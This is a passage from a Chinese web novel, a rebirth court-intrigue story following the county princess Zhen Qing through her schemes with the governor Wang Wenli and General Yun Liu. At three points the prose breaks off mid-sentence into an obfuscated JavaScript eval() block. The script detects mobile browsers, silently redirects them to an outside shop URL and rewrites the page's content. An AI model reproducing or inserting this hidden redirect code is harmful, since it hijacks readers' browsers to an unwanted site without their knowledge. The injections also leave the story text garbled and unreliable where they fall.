平常的时候她就是人人捧着的小县主,后来,那就是小霸王的存在,甚至跟他沿街乞讨,装哭卖穷,好不容易讨来的钱还要跟他对半分。 啧,小时候就这么会有做生意的头脑,和现在一样,不肯吃半点的亏。 半会儿,不知道枕清在哪里给他捡来了一个草席,突然一声低低悲泣:“阿兄!你怎么丢下我一个人就走了。” 躺着装死尸的陈琅眼皮一跳,把他整得头皮发麻,心里直呼绝了,这可是真来啊,不带半点提醒。 他和枕清也做过这样的事,离现在也过了好多年,装死的技术虽是没忘,但也不熟练了。 他闭着眼睛,感受到来往的脚步越发急促,看来是个大单子,陈琅的呼吸逐渐变得缓慢,没有一丝起伏,脸在阳光下也变得苍白,仿佛真的就是一个死人。 有些人关切地朝枕清这处看来,也有不少人对于这事感到晦气,躲得远远的。 枕清透过薄纱看到一群人,她眼神微挑又下垂,脸颊挂着两行清泪,帷帽的面纱若隐若现。 一阵缓慢的马蹄声踏来,为首的那名男子面容坚硬严肃,偏带着异域风情而来,仔细瞧,发觉他身上带有几许迷人的危险,那眼神是怎么也藏不住的狂野热枕。 那人在枕清的身前停下,迅速翻身下马,步伐沉稳,手中的那一把利剑似乎要刺在陈琅身上,枕清心猛然一惊,手中备好一颗石子,注意那把剑,若是看到在刺下来的那一瞬间,当即出手弹开。 陈琅虽有察觉,但也耐得住性子,偏是一点没动,把这死装得更入木三分。 拿剑的那人好似想了一下,亦或是看到枕清的动作,挑眉笑了一下,转了转剑柄,用剑尖挑开枕清的面纱。 粗制滥造的面纱被人拿剑挑开,枕清的面容逐渐显露在众人面前,那双眼睛灵动又胆怯,脸颊挂着两行清泪,摇摇欲坠,微微上抬视线与人对视,又如同受惊的山间小鹿般失措无助地移开,可谓是我见犹怜。 众人见这小娘子脸上有脏污,隐约也能察觉到是个美人。 拿剑的王闻礼看到枕清的样貌,觉得意外,一旁的云行野看清了枕清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665305|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当即拧眉,不知道她又想做什么事。 “王长史。” 王闻礼听到身旁云行野的声音,拿剑的手微微下移,指到枕清的脖颈处,突然横过来,剑面贴在枕清的下颌,稍稍用力向上,枕清的脸当即跟随着剑被迫上抬。 纤细脆弱的喉颈显现出一抹弧度,甚至还能看到隐隐约约的青筋,孱弱得像是一只可以被人捏碎的蝴蝶。 王闻礼眼神微眯,带着审视的居高临下。 他问道:“云郎君可是认识这位小娘子?” 云行野看到剑锋,眼睫毛猛烈一颤,他并不觉得枕清会甘居于人下,这样的威胁,无疑不叫人发寒。 他还记得上次宴会,枕清也是这样指着旁人。 枕清抬眼对上云行野的视线,轻轻移开,视线落到拿剑的王闻礼脸上。 她伸出纤细的两指,轻轻点了点剑的上方,蹙眉道:“我不认识您身旁的这位郎君,亦不认识您,为何拿剑抵着我? “这是在长安,天子的脚下,并非什么偏远之地,我瞧着郎君富贵,理应知晓天子犯法与庶民同罪。” 看似脆弱,实则强悍。 看似位于低位,实则有反杀之势。 王闻礼稳稳收回剑,觉得好笑,他道:“我只是学着禹王家的那位县主罢了,听说她也这样抵着旁人。” 听到王闻礼把自己那事摘出来,枕清也不觉得意外,她故作惊讶道:“竟是如此,郎君和女郎理应不同,我刚才听这位郎君喊你为‘王长史’,县主是女流之辈,如何能相提并论。” 枕清这踩高捧低的态度令人咋舌,反倒惹得王闻礼笑意浓浓。 王闻礼是在陇右道那一带。 而陇右也因在“陇山之右”,故此得名“陇右”,是大启遏制突厥与吐蕃的重要战略之地。 大启各州刺史下设立长史官,名为刺史佐官,却是有名无实,甚至在长安犯了错都有可能被贬为此官职,因为刺史佐官的职责比较繁重,而且地位较低,因此被贬为刺史佐官是一件非常不光彩的事情。 但大都督府的长史地位却是非常高,相当于上州刺史,甚至会充任节度使。 王闻礼便是这样,他并非是无实权,反倒是陇右节度使,他长驻鄯州多年,甚至已经到了可以跟着大都督佣兵自重的地步。 王闻礼绕有兴致地打量枕清,傲然睥睨道:“所以你现在在干什么?” 枕清一脸哭丧:“卖身葬兄。” “行,跟我吧。”王闻礼垂下目光盯着陈琅,“至于他,我会安排他风光大葬。” 看戏的云行野:…… 装死的陈琅:??? “我可去你的风光大葬!” 陈琅和枕清被安排在王闻礼的府邸中,连只苍蝇都飞不出去,这森严程度堪比皇宫,令人难以琢磨。 陈琅在屋内踱步,看了看一脸事不关己的枕清,气得坐在她对面,猛然喝一口凉水,喝完后狠狠放下杯子,问:“你到底想要干什么?” 枕清自顾自倒了一口水,再次递给他,俏地眨了眨眼,撑手支头道:“消消气呀方丈,佛祖一定会保佑你渡过此关。” “……”陈琅狐疑地瞧了她一眼,哼哼唧唧地接过水。他们其实已经很多年没见过了,上个月枕清会来找他,是在他的意料之外。 他和枕清都不信神佛,但会觉得有阎王恶鬼,似乎看过太多苦难,就不愿意去相信美好。 后来他阴差阳错入了佛门,到现在,依旧只是想求一个心安。 不知不觉间,夜幕降临,夜色悄无声息地泼上了一层墨。 门口有小厮过来禀报,说棺材已经打好了,今晚就能下葬了,问枕清准备好了没。 陈琅眼皮一跳,枕清像是一个看好戏的看客,悠悠道:“看来佛祖也不保佑你。” 14. 窗翠侵影渺烟霏(五) “看来佛祖也不保佑你。” “那你保佑我呗,小县主。” 枕清挑眉,其实刚才那话也只是玩笑话,就算陈琅不说,枕清也肯定不会让陈琅出事的,毕竟是自己拉他下水。 最后没等人下葬,枕清很荒诞地跟府中下人说他阿兄又活了,无需棺材了,就留给你们家郎君自己用好了。 也没管人信不信,脸色又是如何,直接关上门,挡住屋外人的视线。 陈琅再次问:“你到底想做什么?” 枕清反问:“我说了你就会帮我吗?” “或许我听后真的愿意帮忙呢?”陈琅像是在和她打商量,“你说说看,我今日不也帮忙了吗?” 枕清笑了笑,也不知信了陈琅的话没有,而是深深凝视他。 她已经很多年没见过陈琅了,在上一世也是匆匆一面,听他说了几句自己的事。 他在青山寺里待了很多年,时常听到她的事情,原本还会做些糊口的生意,后来只想青灯古佛,终老一生。 枕清知道陈琅现在得到的东西和如此成就都来之不易,如果掺和她的事,她不能保证是否会被她连累,她也不想身为好友的陈琅步入险境,从而一无所有,那样的日子对于陈琅来说,太痛苦了。 至于她,她算是孤家寡人一个,什么都没有,自然无所畏惧。 枕清半真半假似的跟陈琅说:“我和他有仇,他既然入了长安,我便要叫他有来无回。 “所以陈琅,你帮不了我。你是聪明人,知道民不与官斗。” 陈琅抓住枕清要走的动作,他低垂视线,轻松一笑,试探道:“你怎么知道我不敢和他斗,或许为了你,我敢呢?” 夜色黑得深沉,仿佛笼罩无尽头的黑暗,叫人难以喘息。 枕清眉心跳动,她察觉到陈琅在她手腕上的力微微收紧,那道‘我敢呢’的声音在耳边萦绕回荡,好像有一股力量在无端地敲击着她。 让她生出片刻的犹豫,可这股犹豫又被情绪给笼罩起来。 不可以这样。 陈琅应该有更好的选择,而不是为了她的选择而选择。 枕清挣脱陈琅的手,眉眼隐隐有待发的怒意,她克制地压低声道:“我看你是疯了!权衡利弊你自己清楚,别逼我骂你! “如果我发现你在背地里掺和王闻礼的事情,我永远都不会去见你,你也会永远见不到我。” 枕清扯了扯唇,又狠心警醒他道:“你帮不了我的,也请不要擅作主张,到时候给我添麻烦。” 陈琅看着落空的手,他缓缓蜷缩被风穿过的指缝,瞧见人走得越来越远,他半倚靠着门,眼眶微微湿润,心中突然怅然若失。 他怎么会不敢呢?谁也不知道他所做的这些事情之所以能坚持下来,都是因为枕清,他后来能离开雷州,也是枕清偷偷帮忙。 在他走的时候,枕清也会舍不得而润红眼,甚至偷偷给他塞了不少的银两。 “添麻烦?”陈琅苦涩一笑,心里跟明镜一样,他喃喃自语,“嘴上功夫跟刀子似的,不舍得就不舍得呗。” 所有人都在说枕清精明算计,可在他的心里,她依旧是嘴硬心软的娘子,是应该得到世上最好东西的女郎。 为了枕清,即使一无所有,他也心甘情愿。 沉沉月色映照在回廊上,枕清走向烛火通明的那一处,她思绪跟着步伐游走。 方才跟陈琅所说的有仇是假的,她哪里会和王闻礼有仇,这人分明是和张宣晟有大仇,不过她怕张宣晟在禹王那里捞不到好处,便要来王闻礼这处。 在上一世,其实她和王闻礼并未见过,只是对他有所耳闻。 天空泼墨,府邸内的一处书院烛灯轻晃,桌上红烛燃了半截。 一男子垂首居于下方,片刻后抬起脑袋问:“主上,您今日为何带那个女子回来?她分明满口谎话,并不是个善茬。” 王闻礼落笔的手一顿,他视线隐匿在烛火里,坚毅的脸庞掺杂一抹柔和,他碰了碰眉心道:“我知道,我就是觉得她还挺有意思的。” 位于下方的手下无语凝咽:“主上……” 王闻礼写好满满一页纸,搁笔挥手道:“她是县主,我自有分寸,你先下去吧。” 宣纸上的字迹龙飞凤舞,大气磅礴,上方满页的人名看得人心惊。唯独张宣晟那三个字着墨最深,而后轻轻移至到枕清那两字上。 王闻礼用剑挑开枕清的帷帽时,就已经认出枕清是县主。 也不是特意去了解,而是他在上一世曾远远看过枕清,甚至也有擦肩而过,只是枕清从未注意到他。 他知道上一世的枕清眼高于顶,不会去注意任何人,所以看到她的时候,他故意用剑抵着她脖颈处,想看她会如何发作。 可他发现,即使这样,她也没落了下风。 这事像是枕清故意接近他,其实这也是他自己在心中默许,他想看看她到底想要做什么。 至于张宣晟,他终究是不会再放过他。 枕清走进小院里,惊动了不少下人,他们都知道枕清是县主,拦也不敢拦,进也不敢给人进,多半想先僵持着再禀报。 看到这般情形,枕清多少也猜得到。 她并不觉得王闻礼不知道她的身份,毕竟他的身边有云行野,就算云行野不说,王闻礼死得也挺早,自然也是重生,知道上一世的事情。 她随意挑了个位置坐下,就静静等着,也不着急,待人开口说话了,才动身走近。 “一个人这么晚来我的院子,你就不怕吗?还是说长安的小娘子各个英雄色。” 枕清这才走近,垂下的视线看到那一页纸,唇角便勾起一抹玩味,哪有半点白日楚楚可怜的样子。 她轻点那页纸,缓缓道:“王长史正人君子,我又有什么怕的?难不成你想我以小人之心度君子之腹。” “你可真是会贬低自己。”王闻礼讥讽道。 枕清眼眸挑笑,反问:“不喜欢听?难不成你喜欢我说你不配与我相提并论?” “果真是伶牙俐齿,那就问问县主是如何想的,要入我这不及王府万一的寒舍。”王闻礼犀利的目光望向她,“我出现的这几日,长安并不太平,县主和我一起,难道不担心别人的动作会祸及你吗?” “那是我的事,再说你现在跟我装什么大好人,要说起最不担心的,难道不是你吗?你心里不是想着,我的死活又关你何事?” 枕清转身随意寻了个位置坐下,伸出食指敲在桌案上,悠悠道:“想必你也知道阿之奎在长安,你难道就不想铲除吗?” 王闻礼锋利的眉眼一动,仿佛又要伏尸百万,流血千里。 这话虽然说得夸张,但王闻礼确实是泡在尸山血海里的,血腥又残忍,也被称为人间厉鬼。 屠城、杀戮、放火他都干过。 眉宇间的凌厉肃杀之气,怎么也抵挡不住。 枕清隔空点了点他桌上的宣纸,调侃笑道:“看来你也重生了,也很恨张宣晟是吗?你不想放过他,他未必不会先对你下手。趁他现在的爪牙不锋利,罗长观又在追查珠宝商贩,你熟悉波斯商人,让他们一口咬定,扼杀在未成功的时候,不好吗?” 王闻礼拧眉问:“什么意思?” 这话语的意思分明是,张宣晟重生了,阿之奎入长安了,一切都和上一世的人不一样,就连枕清也变了。 “你和张宣晟是怎么回事?你难道不是他的妻?”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665306|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又问。 枕清听到这话,反感道:“我从来不是谁的妻,我只是我。你死得早,不知道后来的事情,但我知道。 “后来国破了,张宣晟也死了。因为阿之奎最后攻入了长安,长安沦陷了。王长史难道真的想再次看到这样的局面?叫大启落在外人手中?” 王闻礼轻呵一声,凉飕飕道:“我死得早,落到外人手中又与我何干?我竟不知县主也是个强人所难的人,况且你和张宣晟的关系,我让你好端端站在我眼前,已经是最大的容忍了。” 听到第一句话,枕清略显不自然地摸了摸自己额前的碎发,随后立即撇清关系道:“我和张宣晟没有半点关系,你不必用这样的眼神看我,我也没逼你做什么,选择权依旧在你手中,想如何琢磨,那是你的事情。而且我一介女流之辈,我只想在之后有能力自保,不再居无定所,在乱世里浮沉。” 她像是怕王闻礼不信,甚至抬手掩面,轻轻咳嗽了一声,挥了挥烛火朝上浮起的薄烟,声音逐渐轻柔:“我就是一个弱女子,还能翻出什么浪花,王长史若真是如此高看我,我当真是高兴至极。” 王闻礼不知信了没有,他眉尾上挑,眼尾也跟着上抬,从喉中发出一声哼笑:“你若真想找一个一世无忧的依靠,我不是你最好的选择,毕竟最后我也败了。” “今昔非比,王长史既然抢占先机,以你的本事,现在的他们不足为惧。”枕清挑着眉笑笑,话锋一转,“王长史也挺自信,谁说我要找你为我的倚靠了?” 话音一落,王闻礼带有侵略性的目光突然变得呆凝,像是一只英勇的老虎遇到了软弱可欺的兔子,结果还被兔子反欺负去了的尴尬。 “那你找我就是为了说这事?”王闻礼喜怒不形于色。 枕清摇头:“我想要你带我去云大将军生辰的宴会,至于之后的事情,那就是我事了。” 王闻礼问:“为何是我?” 枕清避而不答,只道:“一定是你,必须是你,只能是你。” 王闻礼看着枕清轻点的手,若有所思道:“那我若是不愿意呢?” “不愿意?我人都在这了,愿不愿意好像都和你牵扯上了关系。”枕清微笑着站起身,居高临下地低睨他,“王长史不会觉得别人都不知道吧,你不是还问过云郎君认不认识我吗?” 枕清眼神带着狡黠,又如同幼兽,清澈灵动,增添的俏皮却不使人反感。 反倒是觉得是他所能控制的猫儿,像是为了一个他自己全然不在意的东西朝人摇尾,即使有可能在不注意的时候被反咬一口,也不会有多大的损失。 可惜王闻礼不知道枕清从来不是会向人摇尾的猫儿,而是会慢慢把人拆入腹中的恶狼。 枕清恰似好意提醒般道:“王长史,重生的人不只有你,你在算计的同时,别人未必不会先你一步,所以好生思量吧。” “张宣晟也重生了?”王闻礼沉声问,“那么阿之奎呢?” 他的声音拉住枕清转身离开的脚步,枕清的背影修长纤细,微微收紧的裙摆将腰肢勾勒得更显纤细曼妙,大好的身姿展现得淋淋尽致。她停驻下,露出清丽动人的侧颜,在绯红烛火下生出几许蛊惑,天生的美艳,连背影也叫人愣怔惊叹。 一眼望去,仿若是碧波万顷,杨柳拂堤,欣赏春日之明艳,盎然之景致。 枕清侧身,精致的眉眼微微上挑,少了故作伪装的娇憨,剩下的姿态叫人望而却步。 她微微侧头,笑道:“我不知道。我可是死在阿之奎前面,之后的事情我又怎么会知道呢?” 话落,枕清不再言语,独留王闻礼一人坐在桌案前心神不宁地沉思,枕清走至远处,回头看了他一眼,唇瓣带笑,又轻飘飘移开。 15. 窗翠侵影渺烟霏(六) 长安接连几日的大雨渐歇,青瓦屋檐一下一下、敲打着窗外绿芭蕉叶,乌云散去,天空的光线重复光亮。 云流大将军生辰将近,皇宫又是一阵好忙活。 云流将军是当今太后殿下的兄长,又有功劳在身,在朝堂上也是首屈一指的程度。 若说这朝堂有话语权之人,当属他和禹王。 不过禹王和太后的关系并非很好,因为世家崛起,为了平衡局面,也必须平平淡淡地维持着。 枕清今日穿着一身淡绯色的衣裳,清丽脱俗,面上带着若隐若现的面纱,冶容多姿,曼妙绰约。 王闻礼看了她一眼,自顾自上了马车,枕清当即也跟了上去。 “你今天可是我的下人。”王闻礼命令道,“下去。” 枕清听到这话,非但没动,甚至直接坦荡地坐在一侧道:“我到底是不是下人,你心里不是很清楚吗?这还没到皇宫,有必要装模作样吗?” 王闻礼讥讽道:“孤男寡女,同坐一乘,你也不怕毁了名声。” “我竟不知道王长史如此封建,同坐一处便是要毁了名声,那你日后可要离长安的小娘子远一些,不然各个都要被你毁了名声。” 枕清话音犀利一转,“再说,长安民风开放,包容并蓄,哪是别的小地方出身比得了的,王长史不经常待在长安,思想可能顽固不化,我也是能理解的。” 王闻礼面露不善,咬牙道:“你这是什么意思,讽刺我?” 枕清神态平静,甚至对他嫣然一笑:“既然知道,又何必问出来。” 她生得明眸皓齿,朝人一笑,满目春风,仿佛无论多强大的怒火,都会被她浇灭,似乎也不是不能理解历朝历代的诸候将相,会拜倒在女子的石榴裙下。 王闻礼也不计较了,反问道:“你是花椒吗?说话跟吃了炮仗一样,这般麻辣,怎么?我今日得罪你了,叫你如此?” “王闻礼,很多事情我们都心知肚明,没必要再搞其他的手段。”枕清抬起自己空荡荡的手腕,“我的东西呢?” 这是枕清第一次喊他的名字,竟觉得意外的好听。虽然声音不柔弱,但也不似男子那般强悍,隐隐约约的怒意更叫人觉得分外有情调。 “我不知道。”王闻礼坦然地撒谎。 枕清懒得和他争口上功夫,更不想和他在日后扯上关系,她直接道:“无所谓,反正我也不在意,毕竟也是个不值钱的玩意,权当送你了!” 这话说得赌气,王闻礼听出枕清的不高兴,他唇角牵起玩味,换了个坐姿问道:“这么稀罕?宴会结束后还你。” 说完这话也没见人搭理自己,他倒是侧过脸望着枕清,左手完全把玩着从枕清那处拿到的精致镯子,右手触到镯子一尾,轻轻转动,有细微的摩挲声。 王闻礼开口问道:“敢问县主今年芳龄几何?” 枕清坐得随意散漫,她面容平静地凝视窗外的风景,闻言先是挑了眉,又上下打量王闻礼,她道:“三十。” 王闻礼抚掌大笑,知道她这是在诓骗他,却又忍不住猜测是她在上一世死的时候恰好是三十岁。 “好啊,也可婚配了,要不我求娶你?你入我这王家的大门,跟我回陇右,我定不亏待你。” 枕清侧过脑袋看着王闻礼,彼时的他看起来也才二十四五,面容刚毅肃杀,虽然长相可称得上俊美,行事作风并非是个善心的人。 马车内的光线昏暗,帘子偶尔透过来的光亮也觉得昏暗无比,仿佛是在人间的黑白鬼煞,周身都变成浓厚的血腥味,叫人翻起一阵压抑。 他这样的人不会有长久的亲人,嗜血无情,没有仁心。 记得上一世,他府中还有小妾,无一不被他贱卖出府,视女子为物品,真是让人恶心。 枕清笑容诡异,仿若比王闻礼更像是魑魅魍魉,她轻轻道:“那要看你要没有命活着回去了。” 此话一落,马车迎来长久的沉默。 马车咕噜噜行驶,被风吹起的一卷涟漪,隐约能看到马车外的盛况,比往常热闹繁密,各色装扮融汇其中,鲜艳又生动。 马车已行到宫门偏侧,待车夫稳稳停下说到了,枕清掀开帘子,径直走了出去。 王闻礼跟着出去,朝前走着,余光注意慢慢落在自己身后的枕清,突然想说点什么,但最后什么都没说出口。 这个地方,王闻礼不熟悉,但枕清未必不清楚。 枕清看着形形色色的人儿,跟随王闻礼入了休息的偏殿,身后小厮谨慎地拿着贺礼,稳当地放在王闻礼的侧边。 打开的时候,王闻礼随意掀开盖子,一把精致的匕首呈现在眼前,上方雕工细腻,镶嵌着各种价值不菲的珠宝。 令人觉得瑰丽无比,从而忽略它是一把利器,更像是一个欣赏的物件。 枕清瞧上一眼,这是有关波斯那边的利器。 王闻礼朝后看,叫枕清上前来。 在王闻礼的目光下,枕清也不避讳地打量那把匕首,上手轻轻碰了碰。 她好似不满足,甚至上手拔了出来,身后的小厮轻轻惊呼,见枕清的动作,无一不倒吸一口气。 只见那银亮的匕首印着她精致的眉眼,神情添了份英气,这把匕首在她手中把玩,绮丽又迷人,仿佛浑然天成,给她更为合适。 王闻礼一言不发地看着,直到枕清合上匕首,他才弯起唇,突然觉得这贺礼送错了人。 枕清对他微变的神色视若无睹,只调侃道:“王长史果真是财大气粗,送的东西都如此精致漂亮,我瞧着云大将军用不上,反倒是适合太后殿下。保不齐这个东西会落在太后殿下手中,还是说你就有这样的打算?” 众所周知,太后殿下和母家关系极好。这不,连云流的生辰宴也要在皇宫内举办,这是极大的恩赐和体面。 王闻礼对枕清的试探仿若未觉,“既然要送出去,那人送谁都没关系。不过我瞧着你更适合这个,你若是喜欢,我叫人再打造一个给你?” “当真?” “自然。” 枕清狐疑地瞧他一眼,突然笑了,“有便宜不贪,不是我的作风,何时送到我的府上?” 王闻礼垂下手,思索半晌后道:“半年。” 这件利器做工繁琐,半年已经算是快的了。 枕清没再开口说话,好像是认同了他这样的说辞。 皇宫巍峨,大红色的漆门庄重又气派。 再往里走,便是红墙黄瓦,黄瓦上方雕刻几只精致细腻的小兽,俨然像是一方的守护神。 经过春寒料峭,宫中虞美人已有绽放之意,又有破茧成蝶的美感。 今日进宫的朝臣没有穿朝服,都是一身简单的长袍。 枕清落座后抬眼朝上方探去,距离有些远,并不能看得尤为清晰,但也能窥探几许。 太后殿下身上的那件华贵衣袍镶着金边,是精致的云纹绸缎,头上所配饰花钿珠钗,光彩夺目,无一不显得雍容华贵。气场也不容忽视,往下望时,蔑视和轻佻意味十足,压住下方暗自向上探究的人。 太后殿下慵懒地挥挥手,身旁的公公俯身贴耳,又朝一旁传达旨意。 枕清的视线这才转向圣上。 和想象中有极大差异,圣上居然是一个清俊少年郎的模样,身着黑红底十二章纹的玄服,增添几分庄重感,却无上位者般居高临下,君王气度。 无论如何看,都是被太后殿下压上一头。 当今太后并非是圣上的生母,年岁虽有三十,可容貌依旧年轻漂亮,犹如二十出头,每每抬眼,气势总能压人一头。 先帝在世时,许多劄子[1]皆是太后殿下和先皇共同批阅,太后明里暗里提拔不少自家的势力,所以先帝驾崩,也面临了太后朝权的状况。 太后殿下扶持圣上,也只是走走过场,堵住悠悠众口罢了。 大殿内金碧辉煌,歌舞连升。 枕清跟着王闻礼片刻后,了无兴趣地离开座位。王闻礼视线微微一动,身后的小厮当即收到命令,跟着枕清一道离开。 枕清自然发现了,不过这皇宫她驾轻就熟,三两下就把人绕的晕头转向,给甩掉了。 她光明正大走进了集贤馆,翻阅到有关商震的记录,她当即合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665307|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,要把这部分抄写下来。 突然有一道声音传来,那人问:“你拿商震的东西要做何事?” 枕清转头,她看到一个四十多岁的中年男子,面容虽生得英俊,可也严肃到令人心生胆怯,只不过那一身凛然正气,也压下了那股严肃。 “他是我师傅,怎么,我拿我师傅的东西也不可以吗?” 枕清端正身姿,上下打量了一番人。 那人面色柔和下来,声音温和道:“小县主?” 枕清露出警惕又疑惑的神情,问:“你是?” 那人答:“你师傅的好友,云流。” 枕清突然笑了一声,原来这就是云行野的父亲。 她没有因为长辈的原因而束手束脚,她轻轻放下手中的册子,“竟是云流大将军,久仰大名,不过今日大将军是生辰,大将军不在殿内,反倒来这里,当真奇怪。” “我不喜欢热闹,你师傅也不喜欢。他在雷州可好?” 云流说到最后,声音突然有些生涩,甚至带了些许的紧张,不由自主地开始转动拇指上的玉扳指。 枕清忽视他的不自然,随意道:“这天下太平,也不需要他了,他好不好,又有谁会关心,谁会在意呢。” 不需要他。 这一番话在外人看来没什么,但云流清楚这是在挖苦。他不知道枕清知晓多少事情,也不去细想,而是岔开话题。 云流问:“他要这个做什么?” 枕清回:“将军想知道的话,可以自己去问。” 云流轻轻道:“只怕是他不会理我。” 枕清扯笑道:“那我也无可奉告。” 云流并没有责怪枕清这般模样,好像是透过枕清看到了商震,他怅然道:“你们的脾气真像。” “将军说错了,师傅的脾气,只怕是比我更差一些。”枕清反驳后又道,“我有一事想问,当年我师傅被发配到雷州的事情,是否和云大将军有关?” 云流面容一僵,他道:“我不想回答。” 枕清也不会去逼问,只爽快道:“好。” “你和他真是相像。” “那你不会害怕吗?” 云流愕然,眉目突然松动,好似滚滚而来的浪花变成了洪流,他忽地茫然道:“我应该害怕吗?” 枕清突然有些为师傅抱不平,反问道:“难道不应该吗?我师傅为什么会去雷州,你又为什么可以久居长安,不是因为您有一个好妹妹吗?我师傅孑然一身,自然是比不得云大将军。” “他在怪我。”云流声音低沉而平稳。 “不,师傅从来没有向我提及过你。”枕清道,“是我在怪你,是我在为师傅抱不平。” “禹王告诉你了什么?”云流突然像是卸了力气,摆摆手道,“罢了罢了,都是上一辈的事情,都这么多年过去了,你又是小辈,知道与否都已经无关紧要了。” 枕清不置可否,她拿上那本册子,刚走几步,又缓下步子。 她转身道:“云大将军,我师傅年岁已高,雷州又是偏远赤热之地,多毒虫蛇蚁,他老人家年轻时行军打仗落下的病根子,常常疼得躺在床上彻夜难眠。 “雷州不像长安繁华,也不似扬州富庶,就连看病的大夫都是半吊子。我师傅向来为国为民,何以落得这般下场?即使不想让他入长安,也请让他北上,好安度余生吧。” 她眼眶微微湿润,不似方才那方犀利,言语字字恳切,仿佛她师傅真的受了极大的苦难和委屈。 云流如鲠在喉,他轻轻道:“我知晓了。” 枕清浅浅颔首,声音微弱:“有劳费心了。” 远在雷州的商震猛然打了一个喷嚏,看着小厮摘下未成熟的荔枝,不由说:“还差几月就熟了,到时候叫人快马加鞭送到长安去,枕清向来喜欢吃这个。” 商震又大摇大摆地离开,身形利落干脆,健步如飞地拿各种蔬菜瓜果,穿过满院子的草木,俨然是另一个世外桃源。 若是有人听到枕清的那番话,和商震此时的画面相比,仿若一个天一个地,哪里有像枕清说的那般苦楚。 16. 窗翠侵影渺烟霏(七) 在上一世,枕清听到云流每每到了生辰,都会去集贤馆,据说那里有云流行军打仗时的记录,还有商震的。 可能年纪越大,越会忍不住怀念从前。 枕清来集贤馆并非是商震交代了什么,而是她需要云流念及旧情,把商震从雷州拎出来。 只要拎出来,无论是到什么地方,没有雷州的代罪之身,一切都好办了。 虽然禹王也想过将商震从雷州那地方拉出来,但太后并不愿意,死死不松口,所以她只能碰碰运气,古来将军多血性,她要的就是让云流愧疚往事,从而出手。 今日天朗气清,惠风和畅,皇宫内多高墙。 枕清之所以会跟着王闻礼进入皇宫,是想让太后起疑心。 从而猜测王闻礼和禹王府中到底有多少纠葛,况且,她方才触碰王闻礼的匕首时,还在上面抹了无色无味的毒药。 倘若被发现,王闻礼便是司马昭之心,路人皆知。 到那时候,只怕是有苦难言。 枕清心神不定地走在花园中,她呆滞地视线被蝴蝶打乱,便跟随着蝴蝶一同探入花丛中,突然被一男子伸手拦住。 甚至隔空还能闻到他身上浓重的酒气,今日喝得很是尽兴。 枕清被迫停下步子,那男子触碰到枕清的手就被另一只手死死压制。 青色衣袖搭在手腕之处,骨节分明有力,使得那个人动弹不得,也没了动作。 枕清静静望着那一只手,除了漂亮,她想不出别的词了。 她略微抬起视线,顺着那双手的主人,看到了江诉的面容。 江诉面容平静地甩开那个人放在枕清腕上的手,拿出帕子仔细地擦拭自己的手。 甚至走上前擦了擦刚才碰到枕清的手腕,既克制又专注,仿佛是对待很珍重的东西,枕清感受到手中的动作,突然笑了出声。 这个叫什么,极其具有侮辱性。 那人脸色憋得通红,也认出来了江诉,比他职位高,一下子就醒了酒,连声抱歉告退,只留下落荒而逃的身影。 此地偏僻,不比宫中热闹。 青翠的竹子在假石旁显得翠油油,细细簌簌声随着随风而下,一小片一小片地飞进了手边。 枕清拿起一片竹叶,开口问:“你怎么来了?” 江诉温声道:“云行野告诉我,你卖身葬兄跟着王闻礼走了,所以我想你会来云将军的生辰。他呢?怎么没陪在你身边。” 枕清好似不在意地转动叶子,又轻轻搁置一旁,“坐在殿里呢。” 江诉见枕清坐在一旁,他目光落在枕清身侧的位置,声音平缓:“如果不介意的话,我坐在你旁边。” “荣幸之至。” “我的荣幸。” 枕清微笑:“我说的就是你的荣幸。” 江诉哑然失笑,承认道:“的确是。” 他们两人很少有这么平和的时候,但大多数都是枕清情绪上起伏得厉害,江诉一星半点也看不出来。 他仿佛不会生气,也没见过他高兴大笑,就好似一个木偶,只会微笑。 不远处的蝴蝶翩翩起舞,枕清半眯着眼,感受这像是偷来的片刻安宁。 枕清说:“江中丞,我有个问题想要问你?” 江诉道:“你问。” “你说对一个人的恨意能因为重来一次就烟消云散吗?”枕清侧过脸庞,浓密的睫毛下,是一双分外漂亮的眸子,仿佛能摄人心魂。 她的唇色如樱,即使不言不语,眉宇间流露出柔美,让人心生怜爱。 他喜欢枕清这副样子,但不喜欢别人也能看到她这般模样。 江诉缓缓移开目光,轻轻勾唇道:“我希望可以。” “那你会为了一个人赴死吗?”枕清迫切地想要知道江诉在上一世,是什么时候死的。 她不知道自己在担忧什么,她怕江诉重生了,也怕他没有重生,更怕现在的江诉和上一世的江诉不同。 如果真的重生了,她又该如何自处呢? 突然间,她有些不想知道答案了,于是偏过脑袋说:“你说说你小时候的事情吧,我想听。” 